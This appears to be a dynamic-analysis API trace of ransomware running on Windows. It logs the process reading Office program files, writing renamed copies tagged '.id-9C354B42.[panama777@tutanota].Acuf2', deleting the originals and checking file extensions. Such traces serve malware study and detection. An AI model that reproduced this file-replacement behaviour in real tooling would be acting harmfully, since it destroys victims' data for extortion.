	[0259.837] ReadFile (in: hFile=0x35c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x860, lpOverlapped=0x0) returned 1
	[0259.848] WriteFile (in: hFile=0x338, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x870, lpOverlapped=0x0) returned 1
	[0259.849] ReadFile (in: hFile=0x35c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0259.849] WriteFile (in: hFile=0x338, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0259.849] SetEndOfFile (hFile=0x338) returned 1
	[0259.849] CloseHandle (hObject=0x338) returned 1
	[0259.849] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.849] SetEndOfFile (hFile=0x35c) returned 1
	[0259.851] CloseHandle (hObject=0x35c) returned 1
	[0259.851] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0259.851] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd")) returned 1
	[0259.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60
	[0259.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60
	[0259.852] lstrlenW (lpString=".doc") returned 4
	[0259.852] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1
	[0259.852] lstrlenW (lpString=".docx") returned 5
	[0259.852] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1
	[0259.852] lstrlenW (lpString=".pdf") returned 4
	[0259.852] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1
	[0259.852] lstrlenW (lpString=".xls") returned 4
	[0259.852] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1
	[0259.852] lstrlenW (lpString=".xlsx") returned 5
	[0259.852] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1
	[0259.852] lstrlenW (lpString=".ppt") returned 4
	[0259.852] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1
	[0259.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60
	[0259.852] lstrlenW (lpString=".zip") returned 4
	[0259.852] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1
	[0259.852] lstrlenW (lpString=".rar") returned 4
	[0259.852] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1
	[0259.852] lstrlenW (lpString=".bz2") returned 4
	[0259.852] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1
	[0259.852] lstrlenW (lpString=".7z") returned 3
	[0259.852] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1
	[0259.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60
	[0259.852] lstrlenW (lpString=".dbf") returned 4
	[0259.852] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1
	[0259.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60
	[0259.852] lstrlenW (lpString=".1cd") returned 4
	[0259.853] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1
	[0259.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60
	[0259.853] lstrlenW (lpString=".jpg") returned 4
	[0259.853] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1
	[0259.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60
	[0259.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60
	[0259.853] lstrlenW (lpString=".doc") returned 4
	[0259.853] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1
	[0259.853] lstrlenW (lpString=".docx") returned 5
	[0259.853] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1
	[0259.853] lstrlenW (lpString=".pdf") returned 4
	[0259.853] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1
	[0259.853] lstrlenW (lpString=".xls") returned 4
	[0259.853] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1
	[0259.853] lstrlenW (lpString=".xlsx") returned 5
	[0259.853] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1
	[0259.853] lstrlenW (lpString=".ppt") returned 4
	[0259.853] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1
	[0259.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60
	[0259.853] lstrlenW (lpString=".zip") returned 4
	[0259.853] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1
	[0259.853] lstrlenW (lpString=".rar") returned 4
	[0259.853] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1
	[0259.853] lstrlenW (lpString=".bz2") returned 4
	[0259.853] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1
	[0259.853] lstrlenW (lpString=".7z") returned 3
	[0259.853] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1
	[0259.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60
	[0259.853] lstrlenW (lpString=".dbf") returned 4
	[0259.853] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1
	[0259.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60
	[0259.854] lstrlenW (lpString=".1cd") returned 4
	[0259.854] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1
	[0259.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60
	[0259.854] lstrlenW (lpString=".jpg") returned 4
	[0259.854] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1
	[0259.854] lstrcmpiW (lpString1=".DLL", lpString2=".Acuf2") returned 1
	[0259.854] lstrlenW (lpString="CLVWINTL.DLL") returned 12
	[0259.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\clvwintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0259.856] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=19880) returned 1
	[0259.857] CloseHandle (hObject=0x35c) returned 1
	[0259.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\clvwintl.dll")) returned 0x20
	[0259.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\clvwintl.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\clvwintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0259.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60
	[0259.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60
	[0259.857] lstrlenW (lpString=".doc") returned 4
	[0259.857] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0259.857] lstrlenW (lpString=".docx") returned 5
	[0259.857] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1
	[0259.857] lstrlenW (lpString=".pdf") returned 4
	[0259.857] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0259.857] lstrlenW (lpString=".xls") returned 4
	[0259.857] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0259.857] lstrlenW (lpString=".xlsx") returned 5
	[0259.857] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1
	[0259.857] lstrlenW (lpString=".ppt") returned 4
	[0259.857] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0259.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60
	[0259.857] lstrlenW (lpString=".zip") returned 4
	[0259.857] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0259.857] lstrlenW (lpString=".rar") returned 4
	[0259.857] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0259.857] lstrlenW (lpString=".bz2") returned 4
	[0259.857] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0259.858] lstrlenW (lpString=".7z") returned 3
	[0259.858] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0259.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60
	[0259.858] lstrlenW (lpString=".dbf") returned 4
	[0259.858] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0259.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60
	[0259.858] lstrlenW (lpString=".1cd") returned 4
	[0259.858] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0259.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60
	[0259.858] lstrlenW (lpString=".jpg") returned 4
	[0259.858] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0259.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60
	[0259.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60
	[0259.858] lstrlenW (lpString=".doc") returned 4
	[0259.858] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0259.858] lstrlenW (lpString=".docx") returned 5
	[0259.858] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1
	[0259.858] lstrlenW (lpString=".pdf") returned 4
	[0259.858] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0259.858] lstrlenW (lpString=".xls") returned 4
	[0259.858] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0259.858] lstrlenW (lpString=".xlsx") returned 5
	[0259.858] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1
	[0259.858] lstrlenW (lpString=".ppt") returned 4
	[0259.858] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0259.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60
	[0259.858] lstrlenW (lpString=".zip") returned 4
	[0259.858] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0259.858] lstrlenW (lpString=".rar") returned 4
	[0259.858] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0259.858] lstrlenW (lpString=".bz2") returned 4
	[0259.859] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0259.859] lstrlenW (lpString=".7z") returned 3
	[0259.859] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0259.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60
	[0259.859] lstrlenW (lpString=".dbf") returned 4
	[0259.859] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0259.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60
	[0259.859] lstrlenW (lpString=".1cd") returned 4
	[0259.859] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0259.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60
	[0259.859] lstrlenW (lpString=".jpg") returned 4
	[0259.859] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0259.859] lstrcmpiW (lpString1=".DLL", lpString2=".Acuf2") returned 1
	[0259.859] lstrlenW (lpString="CMAXRES.DLL") returned 11
	[0259.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\cmaxres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0259.865] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=35216) returned 1
	[0259.865] CloseHandle (hObject=0x330) returned 1
	[0259.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\cmaxres.dll")) returned 0x20
	[0259.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\cmaxres.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\cmaxres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0259.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59
	[0259.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59
	[0259.915] lstrlenW (lpString=".doc") returned 4
	[0259.915] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0259.916] lstrlenW (lpString=".docx") returned 5
	[0259.916] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1
	[0259.916] lstrlenW (lpString=".pdf") returned 4
	[0259.916] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0259.916] lstrlenW (lpString=".xls") returned 4
	[0259.916] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0259.916] lstrlenW (lpString=".xlsx") returned 5
	[0259.916] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1
	[0259.916] lstrlenW (lpString=".ppt") returned 4
	[0259.916] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0259.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59
	[0259.916] lstrlenW (lpString=".zip") returned 4
	[0259.916] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0259.916] lstrlenW (lpString=".rar") returned 4
	[0259.916] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0259.916] lstrlenW (lpString=".bz2") returned 4
	[0259.916] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0259.916] lstrlenW (lpString=".7z") returned 3
	[0259.916] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0259.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59
	[0259.916] lstrlenW (lpString=".dbf") returned 4
	[0259.916] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0259.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59
	[0259.916] lstrlenW (lpString=".1cd") returned 4
	[0259.916] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0259.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59
	[0259.916] lstrlenW (lpString=".jpg") returned 4
	[0259.916] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0259.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59
	[0259.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59
	[0259.916] lstrlenW (lpString=".doc") returned 4
	[0259.917] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0259.917] lstrlenW (lpString=".docx") returned 5
	[0259.917] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1
	[0259.917] lstrlenW (lpString=".pdf") returned 4
	[0259.917] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0259.917] lstrlenW (lpString=".xls") returned 4
	[0259.917] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0259.917] lstrlenW (lpString=".xlsx") returned 5
	[0259.917] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1
	[0259.917] lstrlenW (lpString=".ppt") returned 4
	[0259.917] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0259.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59
	[0259.917] lstrlenW (lpString=".zip") returned 4
	[0259.917] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0259.917] lstrlenW (lpString=".rar") returned 4
	[0259.917] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0259.917] lstrlenW (lpString=".bz2") returned 4
	[0259.917] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0259.917] lstrlenW (lpString=".7z") returned 3
	[0259.917] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0259.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59
	[0259.917] lstrlenW (lpString=".dbf") returned 4
	[0259.917] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0259.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59
	[0259.917] lstrlenW (lpString=".1cd") returned 4
	[0259.917] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0259.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59
	[0259.917] lstrlenW (lpString=".jpg") returned 4
	[0259.917] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0259.918] lstrcmpiW (lpString1=".VSL", lpString2=".Acuf2") returned 1
	[0259.918] lstrlenW (lpString="DBENGR.VSL") returned 10
	[0259.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0259.946] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=53144) returned 1
	[0259.946] CloseHandle (hObject=0x34c) returned 1
	[0259.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl")) returned 0x20
	[0259.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0259.947] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.947] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0259.947] GetLastError () returned 0x0
	[0259.947] ReadFile (in: hFile=0x34c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0xcf98, lpOverlapped=0x0) returned 1
	[0260.372] WriteFile (in: hFile=0x2a4, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xcfa0, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xcfa0, lpOverlapped=0x0) returned 1
	[0260.496] ReadFile (in: hFile=0x34c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0260.496] WriteFile (in: hFile=0x2a4, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0260.496] SetEndOfFile (hFile=0x2a4) returned 1
	[0260.496] CloseHandle (hObject=0x2a4) returned 1
	[0260.497] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.497] SetEndOfFile (hFile=0x34c) returned 1
	[0260.499] CloseHandle (hObject=0x34c) returned 1
	[0260.499] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0260.510] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl")) returned 1
	[0260.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58
	[0260.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58
	[0260.514] lstrlenW (lpString=".doc") returned 4
	[0260.514] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1
	[0260.514] lstrlenW (lpString=".docx") returned 5
	[0260.514] lstrcmpiW (lpString1=".docx", lpString2="R.VSL") returned -1
	[0260.514] lstrlenW (lpString=".pdf") returned 4
	[0260.514] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1
	[0260.514] lstrlenW (lpString=".xls") returned 4
	[0260.514] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1
	[0260.514] lstrlenW (lpString=".xlsx") returned 5
	[0260.514] lstrcmpiW (lpString1=".xlsx", lpString2="R.VSL") returned -1
	[0260.514] lstrlenW (lpString=".ppt") returned 4
	[0260.514] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1
	[0260.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58
	[0260.514] lstrlenW (lpString=".zip") returned 4
	[0260.514] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1
	[0260.514] lstrlenW (lpString=".rar") returned 4
	[0260.514] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1
	[0260.515] lstrlenW (lpString=".bz2") returned 4
	[0260.515] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1
	[0260.515] lstrlenW (lpString=".7z") returned 3
	[0260.515] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1
	[0260.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58
	[0260.515] lstrlenW (lpString=".dbf") returned 4
	[0260.515] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1
	[0260.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58
	[0260.515] lstrlenW (lpString=".1cd") returned 4
	[0260.515] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1
	[0260.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58
	[0260.515] lstrlenW (lpString=".jpg") returned 4
	[0260.515] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1
	[0260.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58
	[0260.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58
	[0260.515] lstrlenW (lpString=".doc") returned 4
	[0260.515] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1
	[0260.515] lstrlenW (lpString=".docx") returned 5
	[0260.515] lstrcmpiW (lpString1=".docx", lpString2="R.VSL") returned -1
	[0260.515] lstrlenW (lpString=".pdf") returned 4
	[0260.515] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1
	[0260.515] lstrlenW (lpString=".xls") returned 4
	[0260.515] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1
	[0260.515] lstrlenW (lpString=".xlsx") returned 5
	[0260.515] lstrcmpiW (lpString1=".xlsx", lpString2="R.VSL") returned -1
	[0260.515] lstrlenW (lpString=".ppt") returned 4
	[0260.515] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1
	[0260.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58
	[0260.515] lstrlenW (lpString=".zip") returned 4
	[0260.515] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1
	[0260.516] lstrlenW (lpString=".rar") returned 4
	[0260.516] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1
	[0260.516] lstrlenW (lpString=".bz2") returned 4
	[0260.516] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1
	[0260.516] lstrlenW (lpString=".7z") returned 3
	[0260.516] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1
	[0260.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58
	[0260.516] lstrlenW (lpString=".dbf") returned 4
	[0260.516] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1
	[0260.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58
	[0260.516] lstrlenW (lpString=".1cd") returned 4
	[0260.516] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1
	[0260.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58
